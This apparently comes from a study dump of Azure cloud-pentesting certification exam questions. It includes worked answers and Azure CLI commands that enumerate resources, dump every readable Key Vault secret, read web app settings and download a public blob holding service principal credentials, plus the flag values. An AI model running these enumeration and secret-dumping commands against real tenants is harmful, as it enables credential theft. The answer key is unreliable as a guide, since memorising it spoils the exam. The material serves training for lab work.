The SecOps Group Certified Cloud Pentesting eXpert - Azure CCPenX-Az Exam Questions
During network reconnaissance of an Azure VM, you inspect its Network Security Group. Which inbound rule creates the highest risk?
Correct Answer: B
Detailed Solution:
List NSG rules:
az network nsg rule list \
--resource-group rg-prod-apps-eastus \
--nsg-name nsg-prod-linux01 \
--output table
Expected risky rule:
Name Priority Direction Access Protocol Source DestinationPortRange
------------ -------- --------- ------ -------- ------------ --------------------
Allow-SSH 100 Inbound Allow Tcp Internet 22
SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.
Correct answer:
B. Allow TCP 22 from Internet
================
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Correct Answer: A
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do
echo " ----- Secret: $sec ----- "
az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final Answer:
Use the Flag{...} value returned by az keyvault secret show.
You’ve gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Correct Answer: A
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities
The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final Answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
================
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
Correct Answer: C
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
================
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
Correct Answer: A
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
================